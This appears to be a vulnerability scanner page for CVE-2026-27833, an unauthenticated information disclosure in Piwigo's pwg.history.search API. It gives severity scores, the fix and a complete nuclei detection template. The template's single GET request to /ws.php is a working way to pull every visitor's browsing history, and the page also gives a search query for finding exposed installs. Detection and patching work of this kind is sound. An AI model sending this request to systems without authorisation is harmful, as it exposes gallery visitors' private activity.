Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API

highseverity

7.5CVSS score

1.6%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication

Impact

Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.

Fix

Update to version 16.3.0 or later.

How to confirm it

Send: GET /ws.php?method=pwg.history.search&format=json
Positive when: status_code == 200 and contains_all(body, "\"stat\":\"ok\"", "\"result\"", "\"lines\"") and contains_any(body, "\"USERNAME\"", "\"NB_LINES\"", "\"GUESTS\"")

Run it with nuclei: nuclei -id CVE-2026-27833 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-27833

info:
  name: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
  author: 0x_Akoko
  severity: high
  description: |
   Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
  impact: |
   Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.
  remediation: |
    Update to version 16.3.0 or later.
  reference:
    - https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27833
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-27833
    epss-score: 0.01641
    epss-percentile: 0.76599
    cwe-id: CWE-862
  metadata:
    verified: false
    max-request: 1
    vendor: piwigo
    product: piwigo
    fofa-query: icon_hash=="540706145"
  tags: cve,cve2026,piwigo,exposure,unauth

http:
  - raw:
      - |
        GET /ws.php?method=pwg.history.search&format=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"stat\":\"ok\"", "\"result\"", "\"lines\"")'
          - 'contains_any(body, "\"USERNAME\"", "\"NB_LINES\"", "\"GUESTS\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from